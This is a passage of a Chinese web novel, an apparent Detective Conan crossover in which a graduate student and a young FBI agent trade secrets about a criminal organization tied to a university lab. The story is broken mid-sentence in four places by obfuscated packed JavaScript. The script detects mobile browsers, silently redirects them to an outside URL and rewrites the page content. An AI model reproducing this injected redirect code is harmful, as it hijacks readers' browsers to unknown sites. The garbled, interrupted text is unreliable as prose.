再想一想，赤井秀一是FBI，他长岛京悟也在重生后成了日本公安的线人，某种意义上，不搞学术的时候，大家都有光明而正义的前途。 高尾和成对这件事情接受得很快：“秀一这么小年纪就有这么大的成就，他太厉害啦。” 长岛京悟有点自豪：“不愧是我手下的高中生呢。” 果戈里感叹道：“看来不去黑市也能买到这样的枪，下次我们直接去偷FBI的就好了，还省钱。” 绿间：“……”他看上去世界观已经混乱了，所以他什么都没有说。 。 赤井秀一和警察对接完工作之后走出来，长岛京悟靠在门口等他。他们两个人今天一起拼车过来的，所以也要一起打车回去。 他隐约感觉长岛京悟看他的眼神和之前不一样，有探究、敬佩、还有……慈祥？ 赤井秀一有些警惕地扬起一个他练习过很久的阳光的笑容：“前辈，怎么了？” 长岛京悟拍了一把他的背，欣慰地说：“你小子，居然还瞒着我们，原来你已经是一个了不起的FBI了呀。” 32.如果有一只蝴蝶…… 当你在执行一个危险的卧底任务的时候，任务目标突然笑呵呵地告诉你：你真是一个了不起的公职人员。这个时候，你该怎么做呢？ 如果是七年后的赤井秀一，他会不动声色地问：前辈，这是谁说的呢？得到确切情报后，他会随机挑选一个倒霉蛋，把矛盾转移出去。 如果是十五年后的赤井秀一，他会迅速地把任务目标干掉，把知情者全部控制起来。然后他会随机挑选一个倒霉蛋，把矛盾转移出去。 但是他现在只是一个十八岁的孩子。在这个年龄阶段，他已经算是极其沉稳的——十八岁的长岛京悟还在做着自己未来拿“诺贝尔生物学奖”的梦，赤井秀一却已经认识到人的恶是没有极限的，并且以身入局，试图为社会扫清一部分难以想象的黑暗。 但是无论如何，他依然只在这个世界上生活了十八年，而且在这十八年内，他坚定地在做一个正直的好人。他或许有些早熟，但他没经历过FBI的卧底培训，他做不出随机挑选一个倒霉蛋以保全自己的这种缺德事情。 ……面对长岛京悟欣慰的赞许，年轻的赤井秀一懵了。他脑子里空白了大约有十几秒钟，然后他听见自己艰涩的声音：“前辈，是从哪里知道的……？” 长岛京悟回答道：“哦，果戈里说的。”他想了想，又觉得赤井秀一这么优秀，他需要多学习对方的技能，以应对未来卧底期间的突发事件。恰巧博士生又是最擅长遇事不决找师兄的一批人。俗话说得好：拉得一张脸，数据多一点。当一个大实验做不出来的时候，师兄一定是是救命稻草，再不济也可以成为替你背锅的天选之人——毕竟“师兄说可以这样做”总是失败的最好解释。 于是长岛京悟本着一个博士生向师兄虚心请教实验经验的态度问：“你真厉害，这么说下来我们算是半个同行。我马上要做一些相关的工作，你看看有时间咱们交流交流经验可以吗？” 赤井秀一：“……啊？” 果戈里？穷凶极恶的异能罪犯？他怎么知道的？ 还有长岛京悟在说什么？同行这种事情可以在一个剧场门口随随便便开口吗？ 还有什么叫做有时间交流一下经验啊？交流什么经验啊？ 赤井秀一感觉自己本来空空如也的脑子更空空如也了。但是这一刻，他展现出了一个优秀搜查官应有的适应能力和反应速度。他压低声音，看了看四周，回答道：“前辈，我们回到安全屋再说吧。” 。 赤井秀一和长岛京悟打了个车，一路无话地回到了他们的公寓楼。他们坐电梯上到了十五楼，长岛京悟打开自己公寓的门，赤井秀一跟着进来了。 长岛京悟：“……诶，秀一，你不回自己家吗？” 赤井秀一心道：我怎么敢回自己家啊。他咬着牙说：“前辈，不是说要交流一下经验吗？” 长岛京悟看了看时间：“现在挺晚了，要不先睡一觉，明天早上起来再交流也不迟。” 赤井秀一深吸一口气：“前辈，如果你还要装傻的话，那就换我来问吧。”他不知何时从书包里抽出了一把枪，“你到底是什么人？你的目的是什么？你在的这个G教授实验室，和那个组织，又是什么关系？” 。 赤井秀一举着枪的样子和一个多星期前琴酒举着枪的样子重合。长岛京悟有些苦中作乐地想，三十天内，应该很少有人能够达成两次在自己家被人拿枪指着的成就吧。他们两个举枪的样子很相似，如果有一部刑侦动画片的话，他们说不定会是什么宿敌一样的设定。 但是他知道赤井秀一是一个FBI，也是一个好人。比起之前被琴酒拿枪指着的时候随时都有可能去死的绝望，长岛京悟只感受到了实验失败被师兄抓着质问数据的慌张。赤井秀一的语气似乎是已经调查了他一段时间了。但是他们总共认识也不到两个星期——而且赤井秀一怎么会知道组织，又是怎么把他和组织联系起来的？ 唯一的可能性就是，赤井秀一在FBI的工作就和这个跨国犯罪组织相关，他来老登实验室名义上是暑期实习，实际上应当是某种潜伏进来的卧底工作！这个认知让长岛京悟心跳加快：他很早前的、有关宫野厚司为何会选中他进入组织名下的研究机构的思考又一次流水般涌进他的脑海，再加上黑田兵卫告诉他的“老登进入了组织的暗杀名单”的消息，他可以确认，自己所在的实验室和那个组织有着不可告人的关系。而这个联系，或许是找到白鸠制药和宫野厚司目前研究方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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安吾那个时候的态度，与其说是在以一个挚友的身份劝阻他趟这滩浑水，更多像是在走一个过场，让他更加有理有据地参与进一些事件之中。 就好像坂口安吾受到了某一种心理暗示：长岛京悟可以做到的；而某些事情，必须由长岛京悟做到。 他重生后的一切，就好像一个被写好了的剧本。 ……而所有事件的起因，或许正如同他所猜测、却从未真正看清的一样，有一只蝴蝶，在这个世界的某处轻轻扇动了翅膀。 33.妈的，最烦不好好说话的人！ 长岛京悟不知道自己该如何回答，他的沉默反倒让赤井秀一逐渐相信了一部分他说的话。 他想起当时在冬训营的时候，侦查课上，老师说：“当一件事情离谱到一种程度的时候，反而应该是真实的……因为很多时候人的想象力是有限的，而现实能够达成的戏剧效果其实非常可观的。” 赤井秀一冷静地说：“前辈，我姑且相信你说的都是真的——你所谓的挚友是一个为了国家利益可以把你毫不犹豫地推进火坑的人。”他话音一转，追问道，“那你把你是卧底这件事情告诉我，你想要得到什么呢？” 长岛京悟挠了挠头：“那我想得到的还蛮多的。本来我只是想问问你能不能有空教我一点，呃，就是你们那种搜查官培训的时候学到的东西，什么都行，我感觉我之后大概率用得到……但是我可能大概推测出了，你似乎也在调查组织和我们实验室的关系？” 赤井秀一不动声色地反问道：“所以呢？” 长岛京悟解释道：“是这样的，我知道当时给我面试的其中一人名字叫做宫野厚司，然后我发现宫野厚司是我同门，我们应该叫他师兄。”他打开电脑，给赤井秀一展示老登发给他的毕业生去向文件，“宫野厚司是在六年前，也就是我进实验室的前几个月毕业的，他毕业后回了日本，开始做药物研究。因为我和他没有任何直接的联络，我并不知道他是如何得到组织的青睐、成为一个研究所的首席科学家的。我查了一下他当时做的课题，都和应用搭不上什么关系……然后我又发现，G老师有可能和组织有联系，公安说他似乎得罪了组织，组织马上要暗杀他。” 赤井秀一愣了一下：“暗杀？” 他可耻地发现自己因为常常听到长岛京悟实验室蛐蛐老登，第一反应居然是：……这个老登居然老登到了组织头上吗？ 长岛京悟点头：“对的。所有的拼图都在这里，但是好像缺了很关键的一块。我推测，宫野厚司或许在我们实验室得到了什么不寻常的结果，他的这个结果应当决定了他结束自己的驱动蛋白研究，转向某一个新的领域。但是至于是什么结果、什么研究领域，因为他没有发文章，也没有留下实验记录本，所以我完全没有头绪。至于老登，我也不清楚他究竟做了什么惹到了那个组织，导致要被灭口。” 长岛京悟总结道：“秀一，我猜你来这个实验室做暑期实习，应当是因为接受了FBI的任务来调查我们。所以，关于这个实验室和组织，你知道什么其他的线索吗？我想看看你那里有没有我缺的最后一块拼图。” 。 赤井秀一在长岛京悟诚恳、求知的目光中有一点点抬不起头。他有些尴尬：因为FBI目前关于黑衣组织的情报可能还不如长岛京悟知道的多。 说来长岛京悟也可能不信，他来这里做暑期实习真的不是因为有任务，纯属巧合啊！开始调查长岛京悟也完全不是因为得到了FBI的情报，更是因为巧合啊！ 围绕在长岛京悟身边的巧合是不是太多了一点？赤井秀一无奈地想：先是他恰好听到了长岛京悟和琴酒的第一次、且唯一一次会面，再是他恰巧又看到了黑田兵卫给长岛京悟发的唯一一条短信，接着是他恰好莫名其妙地把矛头转向了一个叫做果戈里的异能者，这个异能者更是恰好推动了他和长岛京悟的身份互通、以至于现在的情报互通。所有的事情发展都是由极微小、但并不为零概率的事件挨次推动，看似缜密、连贯、一环扣一环，但是在现实生活中就显得太过于戏剧化了。如果做一个很基础的统计学计算，这种最终可能性低于百分之零点零零一的连续事件是可以归为“不可能发生”的。 但是这一切又如此真实，长岛京悟就在这一系列的巧合的推动下信任而迅速地告诉了他所有自己所知道的信息——而他对自己也很自信，有这些准确的情报，他只需要顺着这个方向调查，一定可以得到长岛京悟口中的“最后一块拼图”。很快，黑衣组织与G教授实验室的关联，他们建立研究所的目的，甚至于整个组织的存在意义，都会成为一张完整的网，展现在他的面前。 赤井秀一甚至能够预见到那一刻的成就感，他会将这些线索拼接成真相，带领FBI与长岛京悟一起瓦解这个庞大而黑暗的组织。然而他也清楚，这一切的背后暗藏着多少风险和变数。那些看似巧合的事件，也许正是某一个人的某种精妙设计。而他则必须比任何时候都更加谨慎。 赤井秀一沉吟了一会儿，缓缓开口：“你给出的这些信息确实非常关键，我不得不承认，你的推理能力超出了我的预期。不过，我需要提醒你，长岛前辈，这个组织的复杂程度和隐秘性远超我们的想象。他们的运作模式不仅仅是科学研究的延伸，而是涉及到极其复杂的利益链条。无论是宫野厚司还是G教授，他们很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868122|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能都在不自觉中卷入了更大的棋局。而我们目前掌握的信息，只能算是窥见冰山一角——这些线索也许指向真相，但更可能是精心设计的烟雾弹。” 他说得语重心长，仿佛每个字都经过深思熟虑，但却完全没有回应长岛京悟的问题。 长岛京悟的表情在赤井秀一的话音落下后空白了一瞬间。他突然想起了某次向老登汇报工作的情景…… “这就是目前课题的所有进展，请问您有什么意见吗？” “京悟啊，这个科学问题还是很难的，所以你没有太多进展是正常的。不过呢，你是一个成熟的研究生了，这个问题呢，就是呢，你需要自己多想想这个问题。” 此时此刻，赤井秀一的这一番高深发言，和老登那时说的话，简直如出一辙！ 于是长岛京悟咬牙切齿地对赤井秀一说：“你有线索就说有，没有就说没有，别扯这些有的没的。” 妈的，最烦不好好说话的人！ 。 赤井秀一诚实地说：“……没有，但是我会去查。” 长岛京悟说：“好的，你查到了之后要跟我说，我们一起对一下情报，你不要擅自行动。我对老登和这个实验室还是很了解的，比你们要了解得多，记住这一点哈。” 赤井秀一：“好的。” 长岛京悟：“那时间不早了，我们都洗洗睡吧。熬夜太多是会猝死的。” 赤井秀一：“啊，好的。”他看上去还有什么想说，但是不知道该如何开口，于是慢吞吞地朝门走去。 长岛京悟问：“秀一，你还有别的话要说的吗？” 赤井秀一顿了一下。然后他迅速地打开门，在他关上门前，长岛京悟听见了一声模糊的“之前用枪指着你真是不好意思，前辈”。 还是个十八岁的孩子呢。长岛京悟忍不住笑了。 。 但是他马上就笑不出来了。 他看到自己的手机上显示了一条领英的提示消息： 【上杉夏香】：长岛君，我们这边已经确定了飞往美国的行程，我刚刚协调完行李托运的问题和下周的日程安排，发现还有点时间可以灵活调整。虽然接下来的会议和行程估计会压缩我的睡眠时间，但在开始工作前，我觉得我们最好抽空见一面，把一些细节敲定清楚。我知道你可能也很忙，但如果能配合一下就太好了。 34.是一个宅真是不好意思啊 上杉夏香就是马蒂尼。长岛京悟对她印象很深刻，她是一个可以在出狙击任务的同时加班和他介绍劳动合同条款的社畜，也实打实给他带来了一个真正的牛马震撼。 在实验室工作十五个小时算什么？这个世界上还能有人一边卖命，一边帮忙对接新的人开启他们的卖命生涯。上杉夏香这种可以承上启下的牛马，才可以被称之为牛马pro max，是万千老登心中的首选牛马，牛马界的天花板。 最开始跟坂口安吾打电话的时候，长岛京悟就从好友那里得知了这个组织的基础信息，即他们的高层成员都拥有酒的代号。马蒂尼，一款二合一的调和酒，就很适合上杉夏香这种二合一全能型人才。 长岛京悟上一次、也是唯一一次和琴酒见面的时候，琴酒提出过让马蒂尼干掉老登。没想到事态在千变万化后，这个福气还是落到了马蒂尼头上。 他想了想，因为有些在意马蒂尼话里的“我们”，所以谨慎地回复： 【长岛京悟】：好的，您一个人来吗？需要我帮您订酒店吗？ 对话框立刻显示在输入中。 【上杉夏香】：我们还有另外一个同事一起来出差。酒店不用了，十分感谢，我这边已经安排好了。 【长岛京悟】：你们什么时候到？至少让我来接个机吧。另外，同事怎么称呼？ 【上杉夏香】：同事在公司里的花名是龙舌兰。接机也没有必要了，我们到时候会上门拜访的。你的劳动合同我盖好公章了，到时候拿给你哈。 【上杉夏香】：期待和您见面：） 【上杉夏香已开启消息免提醒。】 长岛京悟看了一眼时间，才发现日本那边已经是早上六点半了。这个时候他的脑子里突然想起坂口安吾几年前和他聊天的时候说出的振聋发聩的危险发言：“……只要不下班就不用上班，只要不睡觉就不用起床……” 虽然从逻辑上是对的，但是实际上这是错的，因为不睡觉是会猝死的。长岛京悟把“黑衣组织派马蒂尼和龙舌兰来刺杀老登，大概马上会到，到了之后会来我家上门拜访，具体时间不清楚”传给了黑田兵卫，赶紧上床睡觉了。 。 长岛京悟这一觉睡得并不安稳。梦里，他仿佛置身于一场没有尽头的实验，手里的移液枪怎么也吸不上液体，消毒好的ep管撒了一地，细胞在显微镜下没有一点活力，冰箱里的样品莫名其妙地消失。而老登在一旁用一贯温和又敷衍的语气对他说：“京悟啊，这很正常，你是个成熟的研究生了，我相信你可以自己解决。” 然后场景突变，他回到了自己的高中文豪学院。 在高中的时候，他是学校化学社的社长。在每天下午的社团活动时间，他和另外几个社员都会在学校的化学实验室里一起聊天、打游戏、看漫画。 社员A边吃薯片边问：“社长，到时候风纪委员过来查我们的活动，发现我们什么实验都没有做，该怎么办？” 长岛京悟说：“我们可以把几个不太危险的试剂混在一起，看看有什么变化，如果有的话就可以交差了。” 社员A追问：“那万一没什么变化呢？” 长岛京悟沉吟：“实验结果是客观的，但是过程是主观的。再不济，我们去买一点蔬菜汁，混点盐，然后写一个小报告‘氯化钠和蔬菜汁反应生成绿色化合物’。” 社员B说：“……这个是不是也太敷衍了一点，他们会信吗？” 长岛京悟说：“总之我们可以左抄抄，右抄抄，总能找到可以写报告的东西。只要下个学期的经费下来了，我们怎么用又是我们自己的事情了。” 经费！ 长岛京悟一个鲤鱼打挺翻身起来，他想起两个星期前老登让他写一个基金，他到现在还没有动笔。 。 话说老登最近为什么让他写那么多基金？他们没钱了吗？长岛京悟这么想着，突然灵光一闪。 美国的基金有几种不同的申请方式，老登主要从美国科学基金会（NSF）拿钱，NSF会公示每一个拿到钱的科研项目。长岛京悟打开电脑，进入NSF的网站，搜索G教授的名字…… G教授手上有两个大的科研项目，但是都显示在三年前，老登没有续成这些项目。也就是说，从三年前，他们就已经没有拿到美国国家提供的科研经费了！ 搞科研，又怎么不能花钱呢？老登没有请实验室经理，几乎都是由长岛京悟负责他们组内的采购。他清楚老登虽然扣，但是他们的经济条件还算是阔绰的。既然从三年前就失去了大头的资金支持，那他们这三年的钱是从哪里来的呢？ 长岛京悟再一次在学校网站搜索“G教授、基金、经费”。在加州伯克利这种公立学校，拿到的每一笔非纳税人的钱学校都会报导，以兹鼓励。 他往下翻，看到了一个结果：“G教授获日本匿名捐赠，六年内获得分期支付五百万美金研究基金”。报道时间是六年前。 而六年前正是宫野厚司毕业的那年！ 这一切就说得通了！宫野厚司如果在老登实验室得到了突破性的结果，每周必要和每一个实验室成员约谈进展的老登必然是知道的。这么一个大的结果在老登手里不可能六年都默默无闻，他们之间一定达成了某种协议——以某一大笔经费的赠与为名，老登拿到了钱，便对这个结果缄口不言。 而现在，六年到了。实验室最大的资金来源不再向老登提供钱，老登自然要找新的资金来源。这个时候，长岛京悟猜测，老登有可能会把这个结果写进基金本子里，以得到更高的评分。 这个时候，组织针对老登的暗杀开始提上日程。 也就是说，不论宫野厚司得到的结果是什么……黑衣组织在保护这个结果只为己所用。这是一个极大的发现，他们说不定可以顺藤摸瓜，找到组织建立研究所的目的。 他赶紧拿起专门和公安联络的手机，解锁后看见黑田兵卫已经回复了自己之前的消息。 【黑田兵卫】：明白了，我们的人今天出发，很快你就会和他们见面。你注意安全，不要和他们正面对抗，如果有他们的面貌特征情报请第一时间传递给我们。 还好马上要来几个专业人士了，长岛京悟长舒一口气。他下床，打算给自己接一杯水再思考怎么把刚刚想到的情报传递出去。这个时候，他自己原来的手机响了。 。 老登静悄悄，必定在作妖。在一个美好的周六早晨八点，老登给他打电话了。 长岛京悟很清楚，如果他假装没有看见的话，他下一个星期就会被老登抓去办公室臭骂一个小时。老登虽然喜欢在学生身上耀武扬威自己并不存在的男子气概，但他同时又很爱标榜自己的道德高尚。“长岛京悟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876619|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周末不接乱七八糟的电话”这件事情会很快上升为“长岛京悟不关心实验室工作的进展”，然后进化为“长岛京悟对科研没有激情和热爱”，最后定性为“长岛京悟需要继续学习如何成为一个独立的研究人员”。 他只能硬着头皮接电话：“老师好。老师有什么事情吗？”不要提基金，不要提基金，不要提基金！ 老登语气很轻松：“没什么大事，就是我一个朋友来这里拜访，想看看咱们学校的环境，顺便逛逛校园，感受一下气氛。” 长岛京悟：“这样啊。”他熟练地抠了一下嗓子，咳了一声，声音沙哑地回答，“老师，我非常想要带您的朋友体验一下学术氛围，可惜我生病了，我从昨天晚上就开始发高烧，有可能得了新冠。” 老登说：“没事，你不带他们进密闭空间就可以，传染不到他们的。” 长岛京悟虚弱道：“……但是我现在连床都下不了。我完全走不动路。我刚刚下床给自己接了一杯水，从厨房一路摔到了卫生间。”他踹倒了客厅的椅子，“啊，我刚刚又从椅子上摔下来了。看来我今天必须躺着了。” 老登的语气开始有些迟疑：“这么严重啊。”他好像把电话移远了一点，好像在对身边的人说话：“我的学生病得很严重，要不然过几天等他好一点了再让他带你在学校转转？你在这里待到什么时候？” 一个女声回应道：“啊啦，这真是太遗憾了。我今天晚上就要启程去别的城市了。”这个声音顿了顿，接着说，“可惜，我还想看看长岛君是现在是什么样子呢。” 老登有些疑惑的声音传来：“你认识京悟吗？” 女声说：“算是旧识吧，我们在高中是一个社团里的呢。” 长岛京悟一听就知道她在撒谎！ ——因为他高中在的化学社加上他就只有五个人。而且甚至因为人太少了常年在被学校关掉的边缘徘徊。 而且这五个人里，没有一个是女生。 文豪学院因为是富裕的私立学校，社团活动丰富多彩，绝大多数社团都在全国的高中里排得上号。甚至可以说，几乎每一个社团都人才济济，除了他自己的化学社，几乎全靠和风纪委员坂口安吾的交情才勉强维持生存这个样子。因此，如果一个只知道他基础生平要伪装和他有交情，说自己是他高中社团的旧识的确是一个很不错的切入点：毕竟他是文豪学院的毕业生这件事情是很容易查得到的。 也就是说，这个女人在试图扮演一个曾经和他有一段很浅的交集的人，目的显然是为了接近他。不知道是她太过于自信、或准备时间并不充裕，她只对长岛京悟做了最基础的调查。她失败的点在于，她完全没想到长岛京悟看上去人模狗样的，实际上从小到大都是一个比较害怕和人打交道的宅…… 他能怎么做？一个试图接近他的人，想必是和组织有关联的！ 他清了清嗓子：“……老师，我其实感觉还可以，也没那么糟。你说的有道理，只要不进密闭空间，应该不会传染。” 老登说：“哦，那也行，你现在来我家接上他，你们一起去学校转转吧。” 长岛京悟说：“老师，如果可以的话，我想要再带上现在跟我做暑期实习的高中生一起。他来了两个星期，我也没带他看过校园。现在有机会，我正好把他们一起带着转转，我之后的时间也可以多花在科研上。” 35.是时候做一些成年牛马该做的事情了 一个正常的年轻人，按理说不会在周六早上八点就起床。即便是像赤井秀一这样自律的人，在被电话铃声吵醒的瞬间，也难免心生不满。他愣了几秒，才在睡意朦胧中分辨出这是昨晚回家后特意为长岛京悟设置的特别铃声。 从某种意义上说，赤井秀一觉得长岛京悟似乎根本不需要自己的保护。这位前辈似乎幸运得过分：他不像那些赤井见过的里世界接触者，总带着沉重的过去或破碎的心灵。长岛京悟有着一个幸福的家庭和美满的童年，也顺利成长为一个三观端正、性格稳重的正常人。除了遇到一个老登导师，他的人生甚至称得上顺风顺水。无论从哪个角度看，长岛京悟都不像是会以身入局涉足危险领域的人。 但偏偏就是这样一个普通的、按理说应该脆弱的人，居然在与里世界的几位穷凶极恶的对手周旋后，全身而退、依然活蹦乱跳。赤井秀一不得不承认，这位前辈的某些运气的确令人意外。 然而，从另一重意义上讲，作为一个未来的联邦安全搜查官，赤井秀一的使命与信念就是保护人民群众。既然他知道了长岛京悟正在干一些在里世界底线上反复横跳的事情，他就有责任特别关注这位前辈的安全。 即便有些起床气，他还是立刻接起了电话：“前辈，有什么事吗？” 电话那头，长岛京悟听上去有些崩溃：“秀一啊，赶紧收拾一下，……我们要去做一点成年牛马该做的事情。” 。 赤井秀一穿戴整齐后推开门，发现长岛京悟已经在等他了。 他正想开口打招呼，长岛京悟立刻把刚刚烤好的吐司片塞进他嘴里，然后拉着赤井秀一进了自己的公寓。 赤井秀一一脸茫然：“……前辈，成年牛马是要做这样的事情吗？” 长岛京悟快速地说：“秀一，是这样的。老登刚刚给我打电话，让我去带他的一个朋友逛校园。我本来打算装病逃过去的，但是那个老登的朋友说，她是我高中社团的朋友。” 赤井秀一艰难地把吐司咽下去，问：“高中社团的朋友的话，前辈要我去做什么呢？”难不成是前女友，让他过去缓解尴尬？ 长岛京悟叹了口气：“我知道你在想什么。首先，我没有前女友，我的恋人是这个科研。其次，是这样的，我高中比较内向，我高中社团只有五个人，没有一个是女生。所以她一定在撒谎。” 赤井秀一立刻明白了长岛京悟的言下之意，他感觉自己的心跳急促起来：“在这个节骨眼上，接近你的人……” 长岛京悟点头：“所以我猜是那个组织的人。我不知道她找上我有什么事情，我猜你肯定也会对这个人感兴趣，所以我跟老登说想把你给带上。” 还有一个目的是，如果对方要对他下手，别人或许装备了威力很足的枪，但他长岛京悟可是装备了赤井秀一这么大一个FBI，到时候谁打得过谁还不一定呢。而且到时候赤井秀一说不定很乐意顺水推舟把那个骗子抓起来。 赤井秀一心头一震，感到血液都沸腾了：这是他第一次有机会近距离接触那个组织的人！而且能够直接接触到长岛京悟这个组织新人的资料，来者想必在那个组织也是相当有地位。他马上说：“前辈，谢谢你给我提供这一次机会。我回去收拾一下书包，十分钟后我们可以出发。” 。 他们抵达老登家门口的时候正好是九点。长岛京悟熟练地和在前院草坪上玩耍的老登女儿打了个招呼，带着赤井秀一按下了老登家的门铃。 门打开后，老登和一个穿着休闲裙的年轻女人出现在玄关。她有着一头柔顺的齐肩黑发，戴着金属细框眼镜，眉眼清丽。 “啊，长岛君，我们真的好久不见了。”她的声音清亮柔和，语气亲切得仿佛真的是老友重逢。 长岛京悟露出一个礼貌的笑容：“你好，请问你是？” 女人有些失落地用只有身边几个人能听到的声音喃喃道：“果然是因为当时化学社的人太多了吗……”随即她似乎整理好了心情，温和地说，“前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894537|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辈，我是比你小两级的小野鹤子，我一直很仰慕前辈。” 长岛京悟这辈子最伤心的回忆都在脑子里过了一遍，才勉强没笑出来。化学社在他毕业后因为没有了风纪委员坂口安吾的照拂，学校理事长在无意间看到了他们攥写的“氯化钠和蔬菜汁反应形成绿色化合物”论文之后就被取缔了。社团被取缔之后他们还五个人一起出来用最后一笔经费吃了烤肉。 可能是因为他沉默的时间有点长，长岛京悟感觉到老登向他投来了恨铁不成钢的死亡射线。他连忙安慰道：“不是不是，可能是我当时在准备出国留学的事情，比较忙罢了。我是长岛京悟，请多多指教。”他指了一些身边的赤井秀一，“这是我手下的高中生，过来做暑期实习的，择日不如撞日，我想也顺便带他逛逛校园。” 赤井秀一说：“请多多指教。” 小野鹤子的目光转向赤井秀一，嘴角依然挂着温和的笑意：“前辈的学生吗？真年轻，充满了活力，让我想起了当时前辈带领下的化学社。”她好像陷入回忆一般地感叹道，“化学社每年都在科技大赛上大放异彩。” ……长岛京悟想起他们唯一一次被迫参加横滨市高校科技大赛，五个人在ddl前花了三天赶出了一篇“通过高温烧结实现水的不可逆分解及其环境效应研究”，实验过程就是在长岛家找了一口小锅把水烧干。这篇文章当时拿了一个鼓励奖，原因是虽然实验设计离谱，实验结论更是令人爆笑，但是创新点清奇，这波人将来不一定能成科学大牛，但一定都能考上研究生。 长岛京悟说：“哈哈，小野小姐过奖了，哈哈，我们只是为科学界做出了一些微不足道的贡献。” 小野鹤子没有接话，只是浅浅地笑了一下，转而对老登说道：“教授，我们可以出发了吗？今天的天气可真不错呢。” 老登点点头，看向长岛京悟：“京悟，你带小野小姐去转转吧，我就不去了。”他对着小野鹤子有些过分殷勤地搓搓手，“小野小姐，祝你玩得开心。” 36.所谓的科研伦理 老登家离学校不远，他们很快就抵达了学校的南广场。在陪小野鹤子在写着“加州伯克利”的大门前拍了张照后，长岛京悟带着两个人沿着主路往实验室方向走。爬坡上山的路上，小野鹤子偶尔提出一些关于校园环境和学校历史的问题，语气柔和而闲适，看上去就像是个再普通不过的访客。 但长岛京悟心里始终绷着一根弦。他注意到，小野鹤子的问题看似随意，但似乎总有意无意地试探着实验室过去和现在的课题。 “长岛君，” 小野鹤子的语气漫不经心，“听说你们实验室在研究驱动蛋白？这个领域可是个热点方向。” 长岛京悟一边哼哧哼哧地爬坡，一边装作轻松地回答：“是的，不过我们做的还算是比较基础的研究，离热点还比较远。现在的热点更多的在机器学习吧。” “不过，有时候基础也可以带来意想不到的突破，不是吗？” “那倒是。”长岛京悟想了想，谨慎地补充道，“不过，我们实验室的研究和那些惊天动地的大突破还是差得比较远的。” 小野鹤子若有所思地点点头：“说得也对，科研这条路哪有那么容易看到终点呢。” 三人走过了学校的钟楼，长岛京悟刷了自己的学生卡，带他们坐电梯上了这个学校最高建筑物的顶层。他们站在钟楼上俯瞰着整个校园，万事万物在眼里变得很渺小，来往的行人看上去就好像显微镜下的一个细胞。这时小野鹤子又忽然开口说道：“长岛君，有时候，我在想，科学研究究竟是为了追求真相，还是为了满足某些人对控制的欲望呢？” “……啊？”长岛京悟愣了一下，忍不住问，“小野小姐为什么这么说？” 小野鹤子没有直接回答，而是语气悠然地说道：“就像你们实验室的那些研究，假如有一天，它被用来做了什么……不好的事情，你会怎么看待呢？” 长岛京悟心里咯噔一下，但表面依然维持着平静：“科研本身是中立的，至于它的应用，那是之后的事情了。” “之后的事情吗？” 小野鹤子看着他，嘴角微微上扬，“京悟君真是个乐观的人呢。” 。 赤井秀一一直沉默地听着两人的对话。他注意到，小野鹤子的每一句话似乎都在引导长岛京悟去思考某种问题，试图让他对实验室的研究产生怀疑。 “前辈，”赤井秀一忽然开口，“既然小野小姐对实验室的研究这么感兴趣，不如给她讲讲你们最近的项目吧？顺便也让我学习一下。” 长岛京悟：“哈哈，还是算了吧，实验室的事情太枯燥了，讲起来也没什么意思。” 小野鹤子饶有兴趣地看着两人，似乎对这段插曲感到有趣，但也没有继续追问。她的目光转向前方：“那不如你们带我看看校园里最安静的地方吧。我一直觉得，安静的地方总能让人思考得更清楚。” “安静的地方？”长岛京悟愣了一下，说，“……我们学校的图书馆挺安静的，要不我们去那边看看？” 。 图书馆是整个校园最安静的地方之一，高大的书架和柔和的灯光为这里增添了一种庄重的学术氛围。他们刚一进入图书馆，小野鹤子的脚步便放慢了下来。她仿佛对周围的一切充满兴趣，不时抬头打量着书架，轻声说道：“这地方真不错，很适合沉下心来思考问题。” 她忽然停在一本书前，伸手取下，翻开书页随意地浏览了几眼，随后微微一笑，将书递给长岛京悟：“京悟君，这本书的内容你应该会感兴趣吧？” 长岛京悟低头一看，书名是《生物化学与伦理：科学的两面性》。他的眉头瞬间皱了起来。 “我不太看这种哲学性的书。”他小心翼翼地将书接过，又随手放回书架，试探着问道，“小野小姐平时喜欢看这种书吗？” 小野鹤子轻轻笑了笑，目光转向书架另一侧：“偶尔吧。不过，有时候我觉得，这种书里的话题也挺有意思——比如科学和伦理之间的界限。” “哦？”赤井秀一适时地接话，装作一个认真学习的高中生模样，“小野小姐觉得界限应该在哪里？” 